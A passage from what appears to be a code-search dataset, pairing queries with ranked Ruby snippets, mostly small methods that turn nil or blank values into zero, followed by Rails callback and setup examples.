"score": "0.68124425",
"text": "def clean_value\n return 0 if value.blank?\n value\n end",
"title": ""
},
{
"docid": "9af315c77f0db087bb0716300f1d4f49",
"score": "0.68006176",
"text": "def nil_to_0()\n (self.nil?) ? 0 : self\n end",
"title": ""
},
{
"docid": "e40ae648889377d89984da0c3c0e7a31",
"score": "0.6771264",
"text": "def nil_to_0(value)\n if value == nil\n 0\n else\n value\n end\n end",
"title": ""
},
{
"docid": "36aff1d2460a48470942664ba8cf3e09",
"score": "0.66166776",
"text": "def zero?\n end",
"title": ""
},
{
"docid": "36aff1d2460a48470942664ba8cf3e09",
"score": "0.66166776",
"text": "def zero?\n end",
"title": ""
},
{
"docid": "61ee1fc429826e680b59e021b01cfda2",
"score": "0.6525669",
"text": "def process_init(input, output)\n @sum = 0\n nil\n end",
"title": ""
},
{
"docid": "24235d7b2f70c806712266f1674eb962",
"score": "0.6487888",
"text": "def nilfix (n)\n if n==\"nil\"\n return 0\n else \n return n\n end\nend",
"title": ""
},
{
"docid": "b7594ce1943a238c0b42d7ac7a9824cc",
"score": "0.6450309",
"text": "def zero\n\t\t\t@value = 0\n\t\tend",
"title": ""
},
{
"docid": "b7594ce1943a238c0b42d7ac7a9824cc",
"score": "0.6450309",
"text": "def zero\n\t\t\t@value = 0\n\t\tend",
"title": ""
},
{
"docid": "71ea4a4080c37e8c055038712b271e2e",
"score": "0.6441866",
"text": "def value() 0 end",
"title": ""
},
{
"docid": "6df14785244e7e4021c3962ae609d436",
"score": "0.64328444",
"text": "def default_to_zero_if_necessary\n self.cantidadBeneficiariosIndirectos = 0 if self.cantidadBeneficiariosIndirectos.blank?\n self.cantidadBeneficiariosDirectos = 0 if self.cantidadBeneficiariosDirectos.blank?\n end",
"title": ""
},
{
"docid": "5972aedf37ea93d572464e7c0e8b95e1",
"score": "0.639257",
"text": "def ensure_not_nil\n self.digital_engagements = 0 if digital_engagements.blank?\n self.mileage_impressions = 0 if mileage_impressions.blank?\n self.footprint_impressions = 0 if footprint_impressions.blank?\n self.walk_by_impressions = 0 if walk_by_impressions.blank?\n self.total_attendance = 0 if total_attendance.blank?\n self.extended_engagements = 0 if extended_engagements.blank?\n end",
"title": ""
},
{
"docid": "285dca64887ee9ea4889776fb285ad4d",
"score": "0.6369516",
"text": "def none\n 0\n end",
"title": ""
},
{
"docid": "ad8b8cd20e87176d5bb27964fbb6c461",
"score": "0.63309175",
"text": "def zero?()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "10a5487dcf1cd4666c81d5184028a9c7",
"score": "0.631244",
"text": "def zero(arg=nil)\n (!!arg) ? eval(\"0\"+arg): 0\nend",
"title": ""
},
{
"docid": "fee7a372f14ecdf61178aa08628c8c18",
"score": "0.62235063",
"text": "def zero?\n @i.zero?\n end",
"title": ""
},
{
"docid": "fb8d0fc856a25ac405e892745dde270c",
"score": "0.6205832",
"text": "def check_nil(array)\n if array == nil\n array ||= 0\n end\n return array\nend",
"title": ""
},
{
"docid": "da4634a6b5f00e8dfa3d182cc9dc7f66",
"score": "0.61817074",
"text": "def zero?\n @total.zero?\n end",
"title": ""
},
{
"docid": "8e9a81f77cda3cbdcf69d46715157cef",
"score": "0.61654645",
"text": "def empty?\n @value == 0\n end",
"title": ""
},
{
"docid": "16699b3a328a135f116554b023dfc153",
"score": "0.6137331",
"text": "def blank?\n @value == 0\n end",
"title": ""
},
{
"docid": "da74a9b4b916e4d523fa063daa70598f",
"score": "0.6136061",
"text": "def zero\n Counter.new(nil)\n end",
"title": ""
},
{
"docid": "61940b7a89e12783b795bfa2842e40bb",
"score": "0.6134071",
"text": "def zero?\n to_i.zero?\n end",
"title": ""
},
{
"docid": "50ce0edd21c05e1e51bf7d3d65b46aec",
"score": "0.61225355",
"text": "def nonzero?\n to_i.nonzero? ? self : nil\n end",
"title": ""
},
{
"docid": "500779133d6d9c4416185a8891babe66",
"score": "0.6115462",
"text": "def empty?()\n @value.to_i.zero?\n end",
"title": ""
},
{
"docid": "3760ffe380f5d2e522efa48cb81e498e",
"score": "0.6087828",
"text": "def fill_salary_if_blank\n if(job_post_basic_salary.nil?) then self.job_post_basic_salary=0 end\n \n end",
"title": ""
},
{
"docid": "044f4018c8686c5436494a2f0bb46858",
"score": "0.60863066",
"text": "def blanko0?\n self.blank? or self == 0\n end",
"title": ""
},
{
"docid": "b301f91ece291a66f7e618c2e5e15047",
"score": "0.607484",
"text": "def zero? \n self._equal?(0)\n end",
"title": ""
},
{
"docid": "c0b44cb456408b0b0b26ac6fe8705810",
"score": "0.6033998",
"text": "def zero_or_not(elem)\n if elem == 0\n 0\n else\n elem\n end\nend",
"title": ""
},
{
"docid": "6ca1cff3f0c94525352478bdb5fc7cc5",
"score": "0.5990794",
"text": "def value\n if (@value.nil? || @value.empty?) && allows_nil?\n nil\n else\n @value.to_i\n end\n end",
"title": ""
},
{
"docid": "e3675648b1eb57ac067b74c40bbe49c5",
"score": "0.59889597",
"text": "def input; @input ||= 3 end",
"title": ""
},
{
"docid": "c56e69595dc13139c354500915e00ed0",
"score": "0.59668136",
"text": "def zero?\n\t\t\t@amount.zero?\n\t\tend",
"title": ""
},
{
"docid": "1900268cd529d818ccb00349e3bdeea6",
"score": "0.5961804",
"text": "def zero_if_negative the_number\n\t\treturn the_number < 0 ? 0 : the_number\n\tend",
"title": ""
},
{
"docid": "139beaa6480a85d11639c4b4ce51b430",
"score": "0.5959187",
"text": "def number_or_nil(string)\n \t\tInteger(string || '')\n \trescue ArgumentError\n \t\tnil\n \tend",
"title": ""
},
{
"docid": "194071219f6b4772434526b1f42640b0",
"score": "0.595041",
"text": "def value\n val = fetch_value\n val if val.present? && val > 0\n end",
"title": ""
},
{
"docid": "4e9aaf84df4bfeb5b9c949b0d755e702",
"score": "0.59311014",
"text": "def number(a, b)\n if a == nil\n \"0\"\n elsif b == nil\n \"0\"\n else\n puts \"\"\n end\nend",
"title": ""
},
{
"docid": "efbb764150189cf5773c6af42cc6480c",
"score": "0.5930793",
"text": "def zero_or_one(i=0)\n if i == 0 || i == false || i == nil\n 0\n else\n 1\n end\n end",
"title": ""
},
{
"docid": "f30f0c9304ebc27af53c4cf05fa209d7",
"score": "0.5923809",
"text": "def clean_value\n if self.value == 0\n self.value = nil\n end\n end",
"title": ""
},
{
"docid": "1cfbcdcf3b803d9a9198528e41eb71a5",
"score": "0.59166974",
"text": "def zero( of: nil )\n absolute of: of, amount: 0\n end",
"title": ""
},
{
"docid": "60e00b815ae09890a8b51579b727ecba",
"score": "0.59081316",
"text": "def empty?\n\t\treturn @n.zero?\n\tend",
"title": ""
},
{
"docid": "60e00b815ae09890a8b51579b727ecba",
"score": "0.59081316",
"text": "def empty?\n\t\treturn @n.zero?\n\tend",
"title": ""
},
{
"docid": "60e00b815ae09890a8b51579b727ecba",
"score": "0.59081316",
"text": "def empty?\n\t\treturn @n.zero?\n\tend",
"title": ""
},
{
"docid": "60e00b815ae09890a8b51579b727ecba",
"score": "0.59081316",
"text": "def empty?\n\t\treturn @n.zero?\n\tend",
"title": ""
},
{
"docid": "60e00b815ae09890a8b51579b727ecba",
"score": "0.59081316",
"text": "def empty?\n\t\treturn @n.zero?\n\tend",
"title": ""
},
{
"docid": "60e00b815ae09890a8b51579b727ecba",
"score": "0.59081316",
"text": "def empty?\n\t\treturn @n.zero?\n\tend",
"title": ""
},
{
"docid": "41ff997463e5c8200420f9f5cfcb116c",
"score": "0.5901612",
"text": "def check_return\n\t($?.to_i.nil? or $?.to_i == 0) ? nil : true\nend",
"title": ""
},
{
"docid": "1491bc0ff681facde2984f91298a9f0b",
"score": "0.5895595",
"text": "def convert_nil(value)\n\tvalue.nil? || value == 0 ? 'No Information Available' : value \nend",
"title": ""
},
{
"docid": "b9cb2d344f5ada41e17766a427b62467",
"score": "0.58834976",
"text": "def not_zero_or_nil?\n if self.card_count\n self.errors.add(:card_count, \"cannot be zero\") unless self.card_count > 0\n else\n self.errors.add(:card_count, \"cannot be nil\")\n end\n end",
"title": ""
},
{
"docid": "da2b46463695f227d4aeda0312bc51c9",
"score": "0.5868181",
"text": "def to_int\n nil\n end",
"title": ""
},
{
"docid": "2e4a6499a6d32e0be051f06eb5e33caa",
"score": "0.5867509",
"text": "def na_to_0(n)\n n == \"N/A\" ? 0 : n\n end",
"title": ""
},
{
"docid": "2e4a6499a6d32e0be051f06eb5e33caa",
"score": "0.5867509",
"text": "def na_to_0(n)\n n == \"N/A\" ? 0 : n\n end",
"title": ""
},
{
"docid": "a6a521d76b827a854bb366e73f013c69",
"score": "0.5863617",
"text": "def zero\n self.each{|k,v| self[k] = 0 }\n end",
"title": ""
},
{
"docid": "03f94b7ea3d5b9abdc1cf3bb6699ea98",
"score": "0.58569664",
"text": "def count_0_values reclist, att \n num_zeros = reclist.reject{|x| x[att].nil? or x[att] != 0}.count\n return num_zeros\n end",
"title": ""
},
{
"docid": "79bb6679bc999ebc4ff66f5efbbe04f0",
"score": "0.58468443",
"text": "def check_t_zero( dt = DT2000 )\r\n dt == 0 ? dt = DT2000 : dt = check_t_nil( dt )\r\n end",
"title": ""
},
{
"docid": "ad589ffd1a19f716842a157d78dac24d",
"score": "0.5840649",
"text": "def not_zero(s,name)\n if is_numeric(s,name)\n if s.to_d == 0\n self.errors.add(name, \"cannot be 0\")\n end\n end\n end",
"title": ""
},
{
"docid": "b14acb25a3e7ef28fce4881bc8f2b2c5",
"score": "0.5840395",
"text": "def zero?(id)\n self[id] == 0\n end",
"title": ""
},
{
"docid": "c37c3bc031040b10c6692abdfc08d1c3",
"score": "0.5816237",
"text": "def maybe_zero?\n return ! self.nonzero?\n end",
"title": ""
},
{
"docid": "bf0719d21b9724ed9f1e9e199aa3646d",
"score": "0.5814155",
"text": "def empty?\n total == 0\n end",
"title": ""
},
{
"docid": "c358d5c92f12ec415a59087a9686b2b9",
"score": "0.581251",
"text": "def puz(string, value)\n puts string unless value.zero?\nend",
"title": ""
},
{
"docid": "d0a17432c5f2fedc205f64e32482757d",
"score": "0.5811409",
"text": "def zero?\n `this.valueOf()===0`\n end",
"title": ""
},
{
"docid": "d1aa298659fcd6355ee2cb20d0900b0d",
"score": "0.5807162",
"text": "def count2zero(input)\n puts input\n if input > 0 \n count2zero(input - 1) \n end\nend",
"title": ""
},
{
"docid": "e3bca99db3d9fc67a18e75d91847eba7",
"score": "0.5806285",
"text": "def is_empty\n @input.length == 0\n end",
"title": ""
},
{
"docid": "9ed1ddaa55ead9d2b66dc968b0c9a0e2",
"score": "0.5797311",
"text": "def sti(n)\n n.to_i == 0 ? nil : n.to_i\nend",
"title": ""
},
{
"docid": "6cafd491047c62a2d295e3d91c94f390",
"score": "0.57966036",
"text": "def integer_or_nil(); INTEGER_OR_NIL; end",
"title": ""
},
{
"docid": "b6212bfb7370b285fbc00fe87b561831",
"score": "0.5788082",
"text": "def zero\n @zero ||= new(0)\n end",
"title": ""
},
{
"docid": "55cbfb9150ed89bae90b89109d269702",
"score": "0.5782938",
"text": "def nullify_zero_values\n %w(debit credit).each do |attribute_name|\n value = send(attribute_name.to_sym)\n if !value.nil? && value == 0.0\n send(:\"#{attribute_name}=\", nil)\n end\n end\n true\n end",
"title": ""
},
{
"docid": "08889219f589218c6df6ed752eeb64d7",
"score": "0.57777447",
"text": "def empty?\n @total == 0\n end",
"title": ""
},
{
"docid": "22d4107b64736cfc0f21b4809e02a14b",
"score": "0.5776915",
"text": "def quantity_zero?\n return quantities.inject(0){ |sum, q| sum + q } == 0\n end",
"title": ""
},
{
"docid": "b524b3ff9a3922be8234ae823e863728",
"score": "0.57744884",
"text": "def preprocess_answer(answer)\n return nil if answer.nil? or answer.blank?\n return answer.to_i\n end",
"title": ""
},
{
"docid": "776ea877d533b49c369179ab7391f8ef",
"score": "0.5763208",
"text": "def nonzero?\n self\n end",
"title": ""
},
{
"docid": "cc1ee10218aa9b9199d1d8d4034a9b17",
"score": "0.5761059",
"text": "def nonzero?\n `return self == 0 ? nil : self;`\n end",
"title": ""
},
{
"docid": "7788defe8a36c83a42b5163253220ade",
"score": "0.57610387",
"text": "def zero?\n return self.base_scalar.zero?\n end",
"title": ""
},
{
"docid": "3911d3b26ed421ac0d3c656f9c940147",
"score": "0.5751747",
"text": "def calculate_empty\n NO_FARE\n end",
"title": ""
},
{
"docid": "08a7e86eaed55dd87bd3cf0eb5ce27b4",
"score": "0.5743058",
"text": "def zero!\n set(0, 0)\n self\n end",
"title": ""
},
{
"docid": "d9855a0cc7375a9ea92f4227587b5426",
"score": "0.574028",
"text": "def zero(expr=nil)\n expr.nil? ? 0 : expr.call(0)\nend",
"title": ""
},
{
"docid": "8bb37361364d067c09976855d52205fc",
"score": "0.57125217",
"text": "def nonzero?\n to_d != 0 ? self : nil\n end",
"title": ""
},
{
"docid": "1d553dd399fa70ec956c23b9a51cb367",
"score": "0.5709678",
"text": "def zero?\n to_d == 0\n end",
"title": ""
},
{
"docid": "b9fb88ad9598b4ad19390f63eba0ebe5",
"score": "0.5709207",
"text": "def zero?\n base_scalar.zero?\n end",
"title": ""
},
{
"docid": "144b785ad545adac6551d11577717b6b",
"score": "0.5708965",
"text": "def number_or_nil(string)\n Integer(string || '')\nrescue ArgumentError\n nil\nend",
"title": ""
},
{
"docid": "8df13a84b5bb88faee95a0e6fac54f92",
"score": "0.57059056",
"text": "def number_of_zero()\n\tzero_number=0\n\tnumber=gets.chomp.to_i\n\tfor i in 1 .. number\n\tif gets.chomp.to_i==0\n\tzero_number=zero_number+1\n\telse\n\tzero_number=zero_number\n\tend\n\tend\n\tputs zero_number\nend",
"title": ""
},
{
"docid": "a90836d76fd323ab7f138fe8a2397da4",
"score": "0.5700448",
"text": "def number=(value)\n\t\t@number = value.nonzero?\n\tend",
"title": ""
},
{
"docid": "a4c12354c8af445089b21f5cb6c8f9f7",
"score": "0.5696515",
"text": "def zero?\n @id.zero?\n end",
"title": ""
},
{
"docid": "9e57a5bdcdb33fa4c9572047a1827fb9",
"score": "0.56876487",
"text": "def smart_to_i\n i = self.to_i\n if i == 0\n if self == \"0\" then return 0 else return self end\n end\n return i\n end",
"title": ""
},
{
"docid": "feb445c7ec50df3e14db45fd63858618",
"score": "0.5685745",
"text": "def parse_int(the_input)\n output = 0\n begin\n output = the_input.to_i\n rescue => detail\n nil\n end\n output\n end",
"title": ""
},
{
"docid": "38c5ce280380238d1bd8f02d3b884540",
"score": "0.5684805",
"text": "def sum_a(number)\n return 0 if number.nil?\n\n number.digits.sum\nend",
"title": ""
},
{
"docid": "ba3689e236e3aeb03c6387d082c0eb38",
"score": "0.56728995",
"text": "def normalize_zero(x)\n return x if x.zero?\n\n return x - 1 if x.positive?\n\n x + 1\n end",
"title": ""
},
{
"docid": "2bc42294112373c4c92725bb72f1a055",
"score": "0.56727576",
"text": "def nonzero?\n to_f.nonzero? ? self : nil\n end",
"title": ""
},
{
"docid": "4990ea4259b736b869bc03964711995f",
"score": "0.56664795",
"text": "def test_empty_string_is_zero\n assert_equal 0, @@calc.add()\n assert_equal 0, @@calc.add(\"\")\n end",
"title": ""
},
{
"docid": "95f6063c95563fdec9451f2e7929186e",
"score": "0.565719",
"text": "def correct_calories_nil\n if @user.calories == nil\n @user.calories = 0\n end\n end",
"title": ""
},
{
"docid": "46baf4b3dfc53809eebb12339a68cecf",
"score": "0.5654538",
"text": "def m\n if milk.nil?\n 0\n else\n milk\n end\n end",
"title": ""
},
{
"docid": "315684d5881dabab638b1b0f62700686",
"score": "0.5653221",
"text": "def add_zero(input)\n if input[-3] != \".\"\n result = input + \"0\"\n return result\n end\n return input\n end",
"title": ""
},
{
"docid": "5d1973d5afff1750a64b59bd834886aa",
"score": "0.5652862",
"text": "def to_i_or_0!(radix=10)\n to_i_or_nil!(radix) || 0 ; end",
"title": ""
},
{
"docid": "3c0489ce369d8e6ef78bc9322bce2b23",
"score": "0.56469655",
"text": "def CutZeros(input)\n return \"\" if input == nil || Ops.less_than(Builtins.size(input), 1)\n return input if !Builtins.regexpmatch(input, \"^0.*\")\n output = Builtins.regexpsub(input, \"^0+(.*)$\", \"\\\\1\")\n return \"0\" if Ops.less_than(Builtins.size(output), 1)\n output\n end",
"title": ""
},
{
"docid": "5402b41af47ea373c11c33ec6ae25686",
"score": "0.5633664",
"text": "def check_jd_zero( jd = DJ00 )\r\n jd == 0 ? jd = DJ00 : jd = check_jd_nil( jd )\r\n end",
"title": ""
},
{
"docid": "484a26c47ebe1c0512df00a38e7990c0",
"score": "0.5632034",
"text": "def quantity_zero?\n self.quantity == 0 \n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "c459d593ea59a599e5c41b3f3a4a25cf",
"score": "0.0",
"text": "def set_inventory\n @inventory = Inventory.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
